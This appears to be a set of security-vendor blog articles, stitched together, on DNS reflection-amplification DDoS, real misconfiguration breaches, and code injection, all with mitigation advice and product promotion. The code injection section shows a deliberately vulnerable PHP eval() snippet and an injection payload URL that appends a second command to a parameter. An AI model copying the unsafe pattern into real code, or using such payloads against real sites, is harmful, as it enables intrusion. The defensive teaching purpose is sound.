  • Amplification attack – a large volume of packets is generated, flooding the target website without the intermediary noticing. This takes place when a poorly protected service responds with a sizable reply once the cybercriminal sends their request, generally known as a trigger packet. Attackers can use tools to send thousands of such requests to poorly protected services, which causes responses that are noticeably bigger than the primary request. This significantly amplifies the bandwidth and size given to a target, either through multiple response packets to a single packet, or with larger packets compared to the original. 

A reflection-amplification attack makes use of both, letting cybercriminals both increase the volume of malicious traffic they are able to generate and hide the sources of the attack traffic. Typically, these attacks depend on millions of exposed UDP/TCP-based services, for example, DNS, SNMP, NTP and SSDP. 

As with all DDoS attacks, reflection-amplification attacks are created to flood the target system, creating out-and-out shutdown or disruption of services.

What causes this sort of attack to be so harmful is that it may be carried out via ordinary consumer devices or servers. There is no apparent indication of being compromised, causing them to be more difficult to prevent. Furthermore, launching a reflection-amplification attack does not demand sophisticated tools – an attacker can develop sizable volumetric attacks with one robust server or a modest source of bots.

Detecting and Mitigating DNS Reflection-Amplification Attacks

It is sometimes possible to detect a reflection-amplification attack before the amount of traffic is enough to impact the availability of the service. However, this quick response time generally demands highly aggressive responsiveness and monitoring, or services offered by an upstream network provider. 

Common network throughput monitoring tools including SNMP, netflow, and custom scripts can help bring your attention to dramatic increases in service or network utilization.  Automated, qualitative, and real-time examination of network traffic might locate an unexpected surge in one sort of protocol that could be utilized to identify a reflection amplification DoS event when it begins. Generally, the lead time could be short and the indicator of a network’s event availability or service falls.  

Related content: Read our guide to dns flood attack.

A necessary component of DNS amplification attacks is entry to open DNS resolvers. When poorly configured DNS resolvers are exposed to the internet, a cybercriminal only needs to use a DNS resolver to find it. 

If possible, DNS resolvers should offer their services only to devices that come from within a trusted domain. With regard to reflection-based attacks, the open DNS resolvers will respond to queries coming from any portion of the internet, providing the possibility for exploitation. 

If you restrict a DNS resolver so that it only responds to queries from trusted sources, the server will be a poor vehicle for any sort of amplification attack.  

When the flood volume surpasses the network’s capacity connection, you must catch the incoming traffic upstream to distinguish the attack traffic from the genuine traffic. These types of defenses may be offered by third-party providers such as a CDN or ISP, or providers that specialize in DoS mitigation. 

You can achieve on-premises filtering in different ways, depending on the flood volume. Filtering methods may include:

  • Blocking the source addresses sourcing the attack.
  • Blocking the protocols being utilized for transport.
  • Blocking the ports being targeted. 

For a timely response, you may need to quickly engage third-parties. You must assess the risk connected with crucial resources being affected by Network DoS attacks and develop a business continuity or disaster recovery plan to respond to incidents. 

DNS Amplification Protection with Bright

Bright automatically scans your apps and APIs for hundreds of vulnerabilities. The generated reports are false-positive free, as Bright validates every finding before reporting it to you. The reports come with clear remediation guidelines for your team and thanks to Bright’s integration with ticketing tools, assigning a finding to a developer for fixing is easily done.

Try Bright for free – Register for a Bright account

Misconfiguration Attacks: 5 Real-Life Attacks and Lessons Learned

What Are Misconfiguration Attacks?

Security misconfiguration vulnerabilities take place when an application component is vulnerable to attack as a result of insecure configuration option or misconfiguration.

Misconfiguration vulnerabilities are configuration weaknesses that might exist in software subsystems or components. For instance, web server software might ship with default user accounts that a cybercriminal could utilize to access the system, or the software might have a known set of standard configuration files or directories, which a cybercriminal could exploit.

Furthermore, software might have vulnerable services enabled, such as remote administration operations. Misconfiguration vulnerabilities cause your application to be vulnerable to attacks that target any component of the application stack. 

For instance, the following types of attacks could exploit misconfiguration vulnerabilities:

  • Code injection
  • Credential stuffing/brute force
  • Buffer overflow
  • Cross-site scripting (XSS)
  • Command injection
  • Forceful browsing

In this article:

5 Examples of Real-Life Misconfiguration Attacks

Here are some examples of misconfiguration attacks that occurred in the real world, and lessons you can learn from them to improve your organization’s security.

1. NASA Exposed Via Default Authorization Misconfiguration 

A security researcher discovered a security misconfiguration in the collaboration tool-JIRA. This single misconfiguration made many Fortune 500 companies (and NASA) vulnerable to a release of personal and corporate data. An authorization misconfiguration in the Global Permissions setting of Jira caused this data disclosure.

When the dashboards and filters for the projects or issues were developed in JIRA, then by default the visibility settings were “All users” and “Everyone”. Rather than sharing roadmap tasks and the like within the organization, it shared them with the public.

Lesson learned: Look at the file sharing configurations in each SaaS to make sure confidential data is not revealed publicly.

2. Amazon S3 Misconfiguration Attacks

Here are several organizations that experiences an attack on their Amazon S3 storage due to misconfigurations:

WhenOrganizationThe Leak
Nov 2017Australian Broadcasting CorporationHashed passwords, internal resources, and keys were leaked.
Nov 2017United States Army Intelligence and Security CommandSeveral files, including Oracle Virtual Appliance (.ova). volumes with portions marked top secret.
Sept 2017AccentureAuthentication information, which included certificates, plaintext passwords, keys, and sensitive customer information.

Lesson learned: Many organizations rely on the data storage technology of Amazon S3, including military and government agencies. However, past security events indicate that this is a pervasive problem, and S3 authorization should be carefully monitored.

3. Citrix Attacked with Insecure Legacy Protocols

A majority of Microsoft Office 365 and G Suite tenants have been the target of IMAP-based password-spraying attacks. The cybercriminals target the insecure, legacy IMAP protocol to get past MFA settings and expose cloud-based accounts, giving access to SaaS applications.

Citrix, which specializes in federated architectures, was the target of such an attack. The FBI proposed that cyber criminals achieved a foothold by password spraying and then were able to bypass other layers of security. 

The utilization of legacy protocols including IMAP and POP makes it hard for system administrators to establish and activate MFA. Shared mailboxes and service accounts can be especially vulnerable, and it can be difficult to use MFA to protect G Suite cloud and Office 365 accounts that use IMAP.

Lesson learned: Make sure that MFA is activated for every user in every application, including super administrators.  

4. Mirai (未来)

Mirai is a type of malware that infects network devices. After devices are infected they can be remotely controlled by the operator, which uses them as bots that extend the power of a botnet. Mirai targeted mainly IoT devices, and managed to execute several high profile attacks even after it was discovered in August 2016. Eventually, the creator released the code as open source (Anna-senpai), and the technique has since been used in other malware projects. 

Mirai managed to infect and run on CCTV cameras, home routers, and DVRs. It succeeded by trying commonly used passwords. This simple method enabled the mirai botnet to produce 280 Gbps and 130 Mpps in DDoS capability and attack the DNS provider Dyn. Mirai also rendered several notable sites inaccessible, including GitHub, Reddit, Airbnb, Netflix, and Twitter.

Lesson leaned: Weak and default passwords are a common security misconfiguration. Threat actors actively look for systems and devices to attack, making use of lists of commonly used passwords and bots that can quickly input a large number of passwords.

5. Consent Phishing with OAuth in Office 365

Consent phishing is an attractive exploit for attackers, who take advantage of the common OAuth actions performed by users. OAuth is prone to implementation mistakes. When a victim clicks on the misleading OAuth application, they permit the installation of any amount of malicious activities. 

Microsoft tells users to keep an eye out for deceptive OAuth applications to stay clear of malicious attacks. Many remote employees have experienced such attacks when using Office 365. 

Lesson learned: Put in place a security protocol to onboard new applications and restrict user permission by default for all applications.

Common Mistakes That Lead to Security Misconfiguration

Here are several common mistakes that lead to security misconfiguration:

  • Failure to remove or disable unnecessary features – when you do not remove superfluous components, code samples or features, the application is left open to attack. Do not keep unnecessary ports open or unneeded services running. You should also make sure to delete accounts that are no longer needed.
  • Using default accounts and passwords – devices and programs, including web applications and network devices, come with a set of default credentials that provide initial access to owners. After gaining access, owners must change their passwords. Otherwise, attackers can use lists of common default credentials to brute-force the system and gain unauthorized access.
  • Defining error messages that reveal too much information – default server configurations should not provide too much information in error messages. For example, the error message should not provide detailed stack traces. This can expose sensitive information, like the used component versions, which attackers can use to search for exploitable flaws.
  • Using old software versions and missing updates – outdated software can leave systems exposed to known vulnerabilities, which may have already been patched. To ensure patches are effective, they must be applied on time.
  • Misconfigured upgrades – to be truly effective, upgrades must be properly configured. Whether the upgrade includes security patches or new functionality, it must be configured and enabled correctly. To avoid misconfiguration, review each update to see the exact change and adjust your configuration accordingly.
  • Misconfigured cloud systems – cloud providers are responsible for securing the underlying infrastructure. You are responsible for securing your own cloud resources, including workloads and data. A misconfigured cloud-based operating system, for example, can expose your virtual machines (VMs) or containers to attacks.

Learn more in our detailed guide to directory traversal.

How Can I Prevent Security Misconfigurations?

There are several measures you can take to prevent misconfiguration attacks.

Education and Training

One of the most effective means of preventing security misconfiguration is training and educating your staff members about the latest security trends. This allows them to make smarter decisions and adhere to best practices. 

Encryption

Data exfiltration is a concern for many organizations. Sensitive or proprietary data in the hands of individuals with ill intent can lead to dramatic losses or embarrassment for an organization, both in relation to personnel and financially. Data can often be an organization’s most essential asset.

Utilizing data-at-rest encryption schemes might assist with the protection of files from data exfiltration. You can also apply appropriate access controls to directories and files. These measures offset the vulnerability of susceptible directories and files. 

Scanning

Conducting security scans on systems is an automated method of isolating vulnerabilities. Running such scans on a regular schedule, after creating architectural changes, is a significant step in improving the overall vulnerability. 

If implementing custom-written code, you should also make use of a static code security scanner. This must come prior to implementing that code in the production environment. 

Least Privilege

Only provide users with access to information they absolutely require to do their jobs. You will need strong access controls, including a strong password and username, and establish two-factor authentication. 

You should also compartmentalize data. Ensure that administrators hold unique accounts for when they are making use of their administrative rights as opposed to when they are behaving as a regular user of the system.

Updating Software

The use of outdated software remains one of the most prevalent security vulnerabilities. Many companies don’t appreciate the need to invest in the newest and latest. They may feel it is more cost-effective to continue making use of legacy software. However, using outdated software can actually place an organization at risk of losing assets – as well as the trust of their investors and customers. 

Establishing a consistent patch schedule, and maintaining updated software, is essential to reducing an organization’s threat vectors.

Security Checklist

To ensure you’ve covered all your configuration security requirements, implement a checklist that incorporates the different measures you want to put in place. Based on the recommendations of security experts, a checklist as follows may help prevent security misconfiguration:  

  • Create a patching schedule and encrypt your data
  • Ensure software is up-to-date and disable default accounts  
  • Implement reliable access controls
  • Give administration a routine process to so they don’t overlook items
  • Establish security settings in development frameworks to safeguard value
  • Undertake system audits periodically and launch security scanners 

Related content: Read our guide to directory traversal attack.

Misconfiguration Attack Mitigation with Bright

Bright automates the detection of misconfiguration and hundreds of other vulnerabilities in your web apps and APIs. Easily start a scan in minutes and enjoy a false-positive free report with clear remediation guidelines for your developers. Thanks to Bright’s integration with ticketing tools, assign all the findings to team members and keep track of execution.

Try Bright for free – Register for a Bright account

Code Injection Example: A Guide to Discovering and Preventing attacks

What is Code Injection?

Code Injection, also known as Remote Code Execution (RCE), is a vulnerability in web applications that occurs when an attacker discovers an input validation flaw where they are able to inject malicious code which is then interpreted/executed by the application.

Applications are vulnerable to code injection if they use unvalidated input, with web applications being a prime target for attackers to access the database and corrupt the application entirely. 

Code Injection in Real Life

Real-life examples of code injection are hard to come by given that the developers prefer to keep things under wraps. You might also be very surprised to hear that code injection can actually be used for positive reasons. 

The most popular example perhaps is Dropbox. They utilize code injection to make some online functionalities available in the offline use of their tools. 

Conversely, however, bad coding practices can very easily lead to code injection, as a user might unknowingly use the reserved program keyword due to the developer not sanitizing it correctly or in time. 

This is part of a series of articles about Command Injection.

Code Injection Examples in Programming Languages

Code Injection is a huge safety issue in web applications and most programmers are well aware of this. As previously mentioned, most of the most popular server-side languages can be exploited by code injection, which we will review below. 

Code Injection in PHP

As with other programming languages, failing to validate user input is the biggest mistake made by PHP  developers, enabling an attacker to inject malicious code through that same input. 

A good example of this is when a developer uses eval() function without sanitizing. Below is an example of an unsafe eval function:

$temp = "tempVar";
$a = $_GET['arg'];
eval("$temp = $a;");

In this instance, the code is vulnerable to code injection, an attacker could use something like:

/index.php?arg=1; phpinfo()

This would give them all the information they need about processes, versions, etc. to wreak havoc in your application. 

Learn more in our detailed guide to code injection php.

Code Injection in Java

Even though you might not think that’s the case, Java is indeed vulnerable to code injection. This is because, just like with any other programming language, user input is used and processed by the Java application. 

With countless libraries and addons for Java, it’s very easy to fall into the trap of carelessness which is why you have to be extremely careful in order to avoid code injection in Java alongside the disastrous consequences that it brings. 

Code Injection in Python

Python code injection appears when user input is processed by Python that allows the attacker to inject malicious Python code into the input field with the language itself processing that same code.

Just like with PHP, you should avoid using the eval command as it may easily lead down code injection paths. 

In an ideal world, we would simply avoid having user inputs implemented into the dynamic code. However, more often than not, this is unavoidable. In order to keep your applications safe, you should strictly validate the user input. If possible, a whitelist of accepted inputs would be the best solution, but unfortunately, this isn’t feasible for most web applications that receive user input. 

How to Prevent Code Injection

Quite simply, heavy input validation is the best way to prevent these issues. This requires checking all the parameters you can think of, even if it affects the speed of the execution.

The ideal solution would be to create a list of available options for the user input. The issue is, however, that that’s often not possible as we need custom user input a lot of the time. 

One method is to take extra caution and safely process the user input, using existing functions whose purpose is mainly to exclude any possibility of injecting malicious code. 

This is why it’s recommended that you create a list of forbidden functions in your server configuration that might be used for malicious purposes. 

And finally, make sure that you’re regularly scanning your applications with a dynamic webapp security scanner!

Conclusion

Code injection is one of the biggest vulnerabilities in web programming nowadays. What makes it so dangerous is that a small slip-up in user validation could lead to unfixable consequences. 

The good thing, however, is that sanitizing the user input will do the job most of the time. Even though it can be a bit of a boring process, it’s a highly valuable trait for web applications to have as it keeps them safe and sound from any possible code injection. Luckily for you, Bright offers free scans on your web applications – sign up today!